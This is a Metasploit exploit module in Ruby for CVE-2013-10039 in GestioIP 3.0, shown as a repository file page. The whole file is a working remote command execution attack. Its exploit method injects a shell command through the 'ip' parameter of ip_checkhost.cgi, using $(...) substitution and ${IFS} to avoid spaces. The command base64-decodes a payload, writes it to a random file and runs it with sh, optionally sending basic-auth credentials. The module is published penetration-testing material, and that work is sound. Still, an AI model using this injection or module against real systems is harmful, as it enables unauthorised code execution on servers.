modules/exploits/multi/http/gestioip_exec.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/http/gestioip_exec.rb
101 строка3 KB
Spencer McIntyre
Add missing CVEs from VulnCheck
07 окт 2025, 20:59
07 окт 2025, 20:59fd21209
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GestioIP Remote Command Execution',
        'Description' => %q{
          This module exploits a command injection flaw to create a shell script
          on the filesystem and execute it. If GestioIP is configured to use no authentication,
          no password is required to exploit the vulnerability. Otherwise, an authenticated
          user is required to exploit.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bperry' # Initial Discovery and metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-10039' ],
          [ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch
          [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/10/03/gestioip-authenticated-remote-command-execution-module' ]
        ],
        'Payload' => {
          'Space' => 475, # not a lot of room
          'DisableNops' => true,
          'BadChars' => "",
        },
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic GestioIP 3.0', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
        OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']),
        OptString.new('HttpPassword', [false, 'The password to auth with', nil])
      ]
    )
  end

  def post_auth?
    true
  end

  def user
    datastore['HttpUsername']
  end

  def pass
    datastore['HttpPassword']
  end

  def use_auth
    !(pass.nil? or pass.empty?)
  end

  def exploit
    pay = Rex::Text.encode_base64(payload.encoded)
    file = Rex::Text.rand_text_alpha(8)

    options = {
      'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
      'encode_params' => false,
      'vars_get' => {
        'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}" + file + "&&sh${IFS}" + file + "):0000:0000:0000:0000:0004",
        'hostname' => "fds",
        'client_id' => "1",
        'ip_version' => ""
      }
    }

    if use_auth
      options.merge!('authorization' => basic_auth(user, pass))
    end

    res = send_request_cgi(options)

    if res and res.code == 401
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
    end
  end
end